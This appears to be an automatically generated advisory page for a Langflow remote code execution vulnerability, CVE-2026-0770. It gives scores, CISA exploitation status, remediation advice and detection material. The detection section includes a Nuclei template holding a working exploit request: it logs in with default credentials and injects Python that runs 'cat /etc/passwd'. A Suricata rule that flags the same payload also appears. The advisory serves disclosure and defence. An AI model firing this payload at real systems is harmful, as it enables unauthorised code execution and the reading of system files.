VULNpocalypse

CVE-2026-0770: Langflow Inclusion of Functionality from Untrusted Control Sphere Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the exec_globals parameter provided to the validate endpoint. The issue results from the inclusion of a resource from an untrusted control sphere. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27325.

Description quoted from the CVE record (assigned by zdi, published 2026-01-23).

Weakness: CWE-829: Inclusion of Functionality from Untrusted Control Sphere

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2026-07-21
US federal deadline
2026-07-24
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: CNNVD-202601-4177, EDB-52597, EUVD-2026-4466, GHSA-g22f-v6f7-2hrh, SNYK-PYTHON-LFX-15091579, ZDI-26-036

VEDAS cluster: VEDAS:BEAVERBEND

Exploit Observer links 15 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (15)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Vulnerability databases and vendor advisories (8)

Catalogue entries, not exploit evidence.

25 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.626
very likely to be attacked soon
VEDAS
0.983
strong exploit evidence
On CISA KEV
Yes, since 2026-07-21
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1Added to CISA KEV 2026-07-21CVE-2026-0770 EPSS over time2026-022026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9Added to CISA KEV 2026-07-21CVE-2026-0770 VEDAS over time2026-022026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

ProductAffectedNot affected
Langflow Langflowversion 1.4.2Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: langflow langflow, pypi langflow.

How to fix it

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

How to detect it

Nuclei template (active check)

Langflow - Code Injection

Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /api/v1/login, POST /api/v1/validate/code); it decides using regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-0770.yaml
Show the template (89 lines)
yaml
id: CVE-2026-0770

info:
  name: "Langflow - Code Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution
    Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations
    of Langflow.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-0770&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=langflow&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-0770
    cwe-id: CWE-94
  metadata:
    verified: false
  tags: cve,cve2026,langflow,rce,authenticated,vuln,vkev,kev
variables:
  username: "langflow"
  password: "langflow"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "access_token"
          - "token_type"
        condition: and
        internal: true

      - type: word
        part: content_type
        words:
          - "application/json"
        internal: true

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: token
        part: body
        group: 1
        internal: true
        regex:
          - '"access_token"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"code":"\ndef exploit(\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\"OUTPUT:\\n{r.stdout}{r.stderr}\")) )(\n        __import__('subprocess').run('cat /etc/passwd', shell=True, capture_output=True, text=True)\n    )\n):\n    pass\n"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

CVE-2026-0770.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-0770 Langflow - Code Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-0770 Langflow - Code Injection"; flow:established,to_server; http.uri; content:"validate"; nocase; http.request_body; content:"etc/passwd"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-0770; reference:url,https://www.exploit.observer/?keyword=CVE-2026-0770&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=langflow&match=exact; sid:1010100; rev:1;)

CVE-2026-0770.rules on GitHub

References

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.